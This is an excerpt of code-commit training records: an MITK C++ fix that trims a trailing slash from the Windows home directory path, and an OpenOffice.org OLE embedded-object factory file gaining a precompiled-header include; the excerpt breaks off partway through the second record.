{\n        break;\n      }\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <mitkStandardFileLocations.h>\n\n#include <mitkConfig.h>\n#include <itkObject.h>\n#include <itkMacro.h>\n#include <itksys\/SystemTools.hxx>\n\n\nconst std::string mitk::StandardFileLocations::FindFile(const char* filename, const char* pathInSourceDir)\n{\n  const char* mitkConf = itksys::SystemTools::GetEnv(\"MITKCONF\");\n  std::string xmlFileName;\n\n  if (mitkConf!=NULL)\n  {\n    \/\/ 1. look for MITKCONF environment variable\n    xmlFileName = mitkConf;\n\n    xmlFileName += \"\/\";\n    xmlFileName = itksys::SystemTools::ConvertToOutputPath(xmlFileName.c_str());\n    xmlFileName += filename;\n\n    if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n  }\n\n  \/\/ 2. use .mitk-subdirectory in home directory of the user\n  std::string homeDirectory;\n#if defined(_WIN32) && !defined(__CYGWIN__)\n  const char* homeDrive = itksys::SystemTools::GetEnv(\"HOMEDRIVE\");\n  const char* homePath = itksys::SystemTools::GetEnv(\"HOMEPATH\");\n  if((homeDrive==NULL) || (homePath==NULL))\n  {\n    itkGenericOutputMacro( << \"Environment variables HOMEDRIVE and\/or HOMEPATH not set\" <<\n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n  else\n  {\n    homeDirectory = homeDrive;\n    homeDirectory +=homePath;\n  }\n  if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n  {\n    itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n#else\n  const char* home = itksys::SystemTools::GetEnv(\"HOME\");\n  if(home==NULL)\n  {\n    itkGenericOutputMacro( << \"Environment variable HOME not set\" <<\n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n  else\n    homeDirectory = home;\n  if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n  {\n    itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n#endif \/\/ defined(_WIN32) && !defined(__CYGWIN__)\n  \n  xmlFileName = homeDirectory;\n  xmlFileName += \"\/.mitk\/\";\n  xmlFileName += filename;\n\n  if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n\n  \/\/ 3. look in the current working directory\n  xmlFileName = filename;\n\n  if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n\n  \/\/ 4. use a source tree location from compile time\n  xmlFileName = MITK_ROOT;\n  if (pathInSourceDir)\n  {\n    xmlFileName += pathInSourceDir;\n  }\n  xmlFileName += '\/';\n  xmlFileName += filename;\n  \n  if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n\n  return std::string(\"\");\n}\n\nconst std::string mitk::StandardFileLocations::GetOptionDirectory()\n{\n  const char* mitkoptions = itksys::SystemTools::GetEnv(\"MITKOPTIONS\");\n  std::string optionsDirectory;\n\n  if (mitkoptions!=NULL)\n  {\n    \/\/ 1. look for MITKOPTIONS environment variable\n    optionsDirectory = mitkoptions;\n    optionsDirectory += \"\/\";\n  }\n  else\n  {\n    \/\/ 2. use .mitk-subdirectory in home directory of the user\n    std::string homeDirectory;\n#if defined(_WIN32) && !defined(__CYGWIN__)\n    const char* homeDrive = itksys::SystemTools::GetEnv(\"HOMEDRIVE\");\n    const char* homePath = itksys::SystemTools::GetEnv(\"HOMEPATH\");\n    if((homeDrive==NULL) || (homePath==NULL))\n    {\n      itkGenericOutputMacro( << \"Environment variables HOMEDRIVE and\/or HOMEPATH not set\" <<\n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n    else\n    {\n      homeDirectory = homeDrive;\n      homeDirectory +=homePath;\n    }\n    if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n    {\n      itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n#else\n    const char* home = itksys::SystemTools::GetEnv(\"HOME\");\n    if(home==NULL)\n    {\n      itkGenericOutputMacro( << \"Environment variable HOME not set\" <<\n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n    else\n      homeDirectory = home;\n    if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n    {\n      itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n#endif \/\/ defined(_WIN32) && !defined(__CYGWIN__)\n   \n    optionsDirectory = homeDirectory;\n    optionsDirectory += \"\/.mitk\";\n  }\n\n  optionsDirectory = itksys::SystemTools::ConvertToOutputPath(optionsDirectory.c_str());\n  if(itksys::SystemTools::CountChar(optionsDirectory.c_str(),'\"') > 0)\n  {\n    char * unquoted = itksys::SystemTools::RemoveChars(optionsDirectory.c_str(),\"\\\"\");\n    optionsDirectory = unquoted;\n    delete [] unquoted;\n  }\n\n  if(itksys::SystemTools::MakeDirectory(optionsDirectory.c_str())==false)\n  {\n    itkGenericExceptionMacro( << \"Could not create .mitk directory at \" << optionsDirectory );\n  }\n  return optionsDirectory;\n}\n<commit_msg>BUGFIX: error in building up a file location might occur, if we do not check for a correct usage of slashes<commit_after>#include <mitkStandardFileLocations.h>\n\n#include <mitkConfig.h>\n#include <itkObject.h>\n#include <itkMacro.h>\n#include <itksys\/SystemTools.hxx>\n\n\nconst std::string mitk::StandardFileLocations::FindFile(const char* filename, const char* pathInSourceDir)\n{\n  const char* mitkConf = itksys::SystemTools::GetEnv(\"MITKCONF\");\n  std::string xmlFileName;\n\n  if (mitkConf!=NULL)\n  {\n    \/\/ 1. look for MITKCONF environment variable\n    xmlFileName = mitkConf;\n\n    xmlFileName += \"\/\";\n    xmlFileName = itksys::SystemTools::ConvertToOutputPath(xmlFileName.c_str());\n    xmlFileName += filename;\n\n    if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n  }\n\n  \/\/ 2. use .mitk-subdirectory in home directory of the user\n  std::string homeDirectory;\n#if defined(_WIN32) && !defined(__CYGWIN__)\n  const char* homeDrive = itksys::SystemTools::GetEnv(\"HOMEDRIVE\");\n  const char* homePath = itksys::SystemTools::GetEnv(\"HOMEPATH\");\n  if((homeDrive==NULL) || (homePath==NULL))\n  {\n    itkGenericOutputMacro( << \"Environment variables HOMEDRIVE and\/or HOMEPATH not set\" <<\n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n  else\n  {\n    homeDirectory = homeDrive;\n    homeDirectory +=homePath;\n\n    \/\/ homeDirectory must not have a slash at the end, otherwise a path like \"C:\\\/.mitk\/\" might occur.\n    if(homeDirectory.find_last_of(\"\\\\\")+1 == homeDirectory.size() || homeDirectory.find_last_of(\"\/\")+1 == homeDirectory.size())\n     homeDirectory.erase(homeDirectory.size()-1,homeDirectory.size());\n  }\n  if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n  {\n    itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n#else\n  const char* home = itksys::SystemTools::GetEnv(\"HOME\");\n  if(home==NULL)\n  {\n    itkGenericOutputMacro( << \"Environment variable HOME not set\" <<\n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n  else\n    homeDirectory = home;\n  if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n  {\n    itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n      \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n    homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n  }\n#endif \/\/ defined(_WIN32) && !defined(__CYGWIN__)\n  \n  xmlFileName = homeDirectory;\n  xmlFileName += \"\/.mitk\/\";\n  xmlFileName += filename;\n\n  if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n\n  \/\/ 3. look in the current working directory\n  xmlFileName = filename;\n\n  if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n\n  \/\/ 4. use a source tree location from compile time\n  xmlFileName = MITK_ROOT;\n  if (pathInSourceDir)\n  {\n    xmlFileName += pathInSourceDir;\n  }\n  xmlFileName += '\/';\n  xmlFileName += filename;\n  \n  if(itksys::SystemTools::FileExists(xmlFileName.c_str())) return xmlFileName;\n\n  return std::string(\"\");\n}\n\nconst std::string mitk::StandardFileLocations::GetOptionDirectory()\n{\n  const char* mitkoptions = itksys::SystemTools::GetEnv(\"MITKOPTIONS\");\n  std::string optionsDirectory;\n\n  if (mitkoptions!=NULL)\n  {\n    \/\/ 1. look for MITKOPTIONS environment variable\n    optionsDirectory = mitkoptions;\n    optionsDirectory += \"\/\";\n  }\n  else\n  {\n    \/\/ 2. use .mitk-subdirectory in home directory of the user\n    std::string homeDirectory;\n#if defined(_WIN32) && !defined(__CYGWIN__)\n    const char* homeDrive = itksys::SystemTools::GetEnv(\"HOMEDRIVE\");\n    const char* homePath = itksys::SystemTools::GetEnv(\"HOMEPATH\");\n    if((homeDrive==NULL) || (homePath==NULL))\n    {\n      itkGenericOutputMacro( << \"Environment variables HOMEDRIVE and\/or HOMEPATH not set\" <<\n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n    else\n    {\n      homeDirectory = homeDrive;\n      homeDirectory +=homePath;\n    }\n    if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n    {\n      itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n#else\n    const char* home = itksys::SystemTools::GetEnv(\"HOME\");\n    if(home==NULL)\n    {\n      itkGenericOutputMacro( << \"Environment variable HOME not set\" <<\n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n    else\n      homeDirectory = home;\n    if(itksys::SystemTools::FileExists(homeDirectory.c_str())==false)\n    {\n      itkGenericOutputMacro( << \"Could not find home directory at \" << homeDirectory << \n        \". Using current working directory as home directory: \" << itksys::SystemTools::GetCurrentWorkingDirectory());\n      homeDirectory = itksys::SystemTools::GetCurrentWorkingDirectory();\n    }\n#endif \/\/ defined(_WIN32) && !defined(__CYGWIN__)\n   \n    optionsDirectory = homeDirectory;\n    optionsDirectory += \"\/.mitk\";\n  }\n\n  optionsDirectory = itksys::SystemTools::ConvertToOutputPath(optionsDirectory.c_str());\n  if(itksys::SystemTools::CountChar(optionsDirectory.c_str(),'\"') > 0)\n  {\n    char * unquoted = itksys::SystemTools::RemoveChars(optionsDirectory.c_str(),\"\\\"\");\n    optionsDirectory = unquoted;\n    delete [] unquoted;\n  }\n\n  if(itksys::SystemTools::MakeDirectory(optionsDirectory.c_str())==false)\n  {\n    itkGenericExceptionMacro( << \"Could not create .mitk directory at \" << optionsDirectory );\n  }\n  return optionsDirectory;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: xolefactory.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-20 00:31:32 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_EMBED_ELEMENTMODES_HPP_\n#include <com\/sun\/star\/embed\/ElementModes.hpp>\n#endif\n#ifndef _COM_SUN_STAR_EMBED_ENTRYINITMODES_HPP_\n#include <com\/sun\/star\/embed\/EntryInitModes.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_BEANS_PROPERTYVALUE_HPP_\n#include <com\/sun\/star\/beans\/PropertyValue.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n\n#include <rtl\/logfile.hxx>\n\n\n#include \"xolefactory.hxx\"\n#include \"oleembobj.hxx\"\n\n\nusing namespace ::com::sun::star;\n\n\/\/ TODO: do not create OLE objects that represent OOo documents\n\n\/\/-------------------------------------------------------------------------\nuno::Sequence< ::rtl::OUString > SAL_CALL OleEmbeddedObjectFactory::impl_staticGetSupportedServiceNames()\n{\n    uno::Sequence< ::rtl::OUString > aRet(2);\n    aRet[0] = ::rtl::OUString::createFromAscii(\"com.sun.star.embed.OLEEmbeddedObjectFactory\");\n    aRet[1] = ::rtl::OUString::createFromAscii(\"com.sun.star.comp.embed.OLEEmbeddedObjectFactory\");\n    return aRet;\n}\n\n\/\/-------------------------------------------------------------------------\n::rtl::OUString SAL_CALL OleEmbeddedObjectFactory::impl_staticGetImplementationName()\n{\n    return ::rtl::OUString::createFromAscii(\"com.sun.star.comp.embed.OLEEmbeddedObjectFactory\");\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::impl_staticCreateSelfInstance(\n            const uno::Reference< lang::XMultiServiceFactory >& xServiceManager )\n{\n    return uno::Reference< uno::XInterface >( *new OleEmbeddedObjectFactory( xServiceManager ) );\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceInitFromEntry(\n                                                                    const uno::Reference< embed::XStorage >& xStorage,\n                                                                    const ::rtl::OUString& sEntName,\n                                                                    const uno::Sequence< beans::PropertyValue >& aMedDescr,\n                                                                    const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            container::NoSuchElementException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException)\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceInitFromEntry\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< container::XNameAccess > xNameAccess( xStorage, uno::UNO_QUERY );\n    if ( !xNameAccess.is() )\n        throw uno::RuntimeException(); \/\/TODO\n\n    \/\/ detect entry existence\n    if ( !xNameAccess->hasByName( sEntName ) )\n        throw container::NoSuchElementException();\n\n    if ( !xStorage->isStreamElement( sEntName ) )\n    {\n        \/\/ if it is not an OLE object throw an exception\n        throw io::IOException(); \/\/ TODO:\n    }\n\n    uno::Reference< uno::XInterface > xResult(\n                    static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, sal_False ) ),\n                    uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported by own document objects\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::DEFAULT_INIT,\n                                    aMedDescr,\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceInitFromMediaDescriptor(\n        const uno::Reference< embed::XStorage >& xStorage,\n        const ::rtl::OUString& sEntName,\n        const uno::Sequence< beans::PropertyValue >& aMediaDescr,\n        const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException)\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceInitFromMediaDescriptor\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< uno::XInterface > xResult(\n                    static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, sal_False ) ),\n                    uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported ( what about applets? )\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::MEDIA_DESCRIPTOR_INIT,\n                                    aMediaDescr,\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceInitNew(\n                                            const uno::Sequence< sal_Int8 >& aClassID,\n                                            const ::rtl::OUString& aClassName,\n                                            const uno::Reference< embed::XStorage >& xStorage,\n                                            const ::rtl::OUString& sEntName,\n                                            const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException)\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceInitNew\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            3 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            4 );\n\n    uno::Reference< uno::XInterface > xResult(\n                    static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, aClassID, aClassName ) ),\n                    uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported by own document objects\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::TRUNCATE_INIT,\n                                    uno::Sequence< beans::PropertyValue >(),\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceLink(\n                                            const uno::Reference< embed::XStorage >& xStorage,\n                                            const ::rtl::OUString& sEntName,\n                                            const uno::Sequence< beans::PropertyValue >& aMediaDescr,\n                                            const uno::Sequence< beans::PropertyValue >& lObjArgs )\n        throw ( lang::IllegalArgumentException,\n                io::IOException,\n                uno::Exception,\n                uno::RuntimeException )\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceLink\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >(\n                                                reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >(\n                                                reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< uno::XInterface > xResult(\n                static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, sal_True ) ),\n                uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported by own document objects\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::MEDIA_DESCRIPTOR_INIT,\n                                    aMediaDescr,\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceUserInit(\n            const uno::Sequence< sal_Int8 >& aClassID,\n            const ::rtl::OUString& aClassName,\n            const uno::Reference< embed::XStorage >& xStorage,\n            const ::rtl::OUString& sEntName,\n            sal_Int32 \/*nEntryConnectionMode*\/,\n            const uno::Sequence< beans::PropertyValue >& \/*lArguments*\/,\n            const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException )\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceUserInit\" );\n\n    \/\/ the initialization is completelly controlled by user\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< uno::XInterface > xResult(\n                static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, aClassID, aClassName ) ),\n                uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n    if ( xPersist.is() )\n    {\n        xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::DEFAULT_INIT,\n                                    uno::Sequence< beans::PropertyValue >(),\n                                    lObjArgs );\n\n    }\n    else\n        throw uno::RuntimeException(); \/\/ TODO:\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\n::rtl::OUString SAL_CALL OleEmbeddedObjectFactory::getImplementationName()\n    throw ( uno::RuntimeException )\n{\n    return impl_staticGetImplementationName();\n}\n\n\/\/-------------------------------------------------------------------------\nsal_Bool SAL_CALL OleEmbeddedObjectFactory::supportsService( const ::rtl::OUString& ServiceName )\n    throw ( uno::RuntimeException )\n{\n    uno::Sequence< ::rtl::OUString > aSeq = impl_staticGetSupportedServiceNames();\n\n    for ( sal_Int32 nInd = 0; nInd < aSeq.getLength(); nInd++ )\n        if ( ServiceName.compareTo( aSeq[nInd] ) == 0 )\n            return sal_True;\n\n    return sal_False;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Sequence< ::rtl::OUString > SAL_CALL OleEmbeddedObjectFactory::getSupportedServiceNames()\n    throw ( uno::RuntimeException )\n{\n    return impl_staticGetSupportedServiceNames();\n}\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.7.18); FILE MERGED 2006\/09\/01 17:25:54 kaib 1.7.18.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: xolefactory.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 00:46:03 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_embeddedobj.hxx\"\n\n#ifndef _COM_SUN_STAR_EMBED_ELEMENTMODES_HPP_\n#include <com\/sun\/star\/embed\/ElementModes.hpp>\n#endif\n#ifndef _COM_SUN_STAR_EMBED_ENTRYINITMODES_HPP_\n#include <com\/sun\/star\/embed\/EntryInitModes.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_BEANS_PROPERTYVALUE_HPP_\n#include <com\/sun\/star\/beans\/PropertyValue.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n\n#include <rtl\/logfile.hxx>\n\n\n#include \"xolefactory.hxx\"\n#include \"oleembobj.hxx\"\n\n\nusing namespace ::com::sun::star;\n\n\/\/ TODO: do not create OLE objects that represent OOo documents\n\n\/\/-------------------------------------------------------------------------\nuno::Sequence< ::rtl::OUString > SAL_CALL OleEmbeddedObjectFactory::impl_staticGetSupportedServiceNames()\n{\n    uno::Sequence< ::rtl::OUString > aRet(2);\n    aRet[0] = ::rtl::OUString::createFromAscii(\"com.sun.star.embed.OLEEmbeddedObjectFactory\");\n    aRet[1] = ::rtl::OUString::createFromAscii(\"com.sun.star.comp.embed.OLEEmbeddedObjectFactory\");\n    return aRet;\n}\n\n\/\/-------------------------------------------------------------------------\n::rtl::OUString SAL_CALL OleEmbeddedObjectFactory::impl_staticGetImplementationName()\n{\n    return ::rtl::OUString::createFromAscii(\"com.sun.star.comp.embed.OLEEmbeddedObjectFactory\");\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::impl_staticCreateSelfInstance(\n            const uno::Reference< lang::XMultiServiceFactory >& xServiceManager )\n{\n    return uno::Reference< uno::XInterface >( *new OleEmbeddedObjectFactory( xServiceManager ) );\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceInitFromEntry(\n                                                                    const uno::Reference< embed::XStorage >& xStorage,\n                                                                    const ::rtl::OUString& sEntName,\n                                                                    const uno::Sequence< beans::PropertyValue >& aMedDescr,\n                                                                    const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            container::NoSuchElementException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException)\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceInitFromEntry\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( 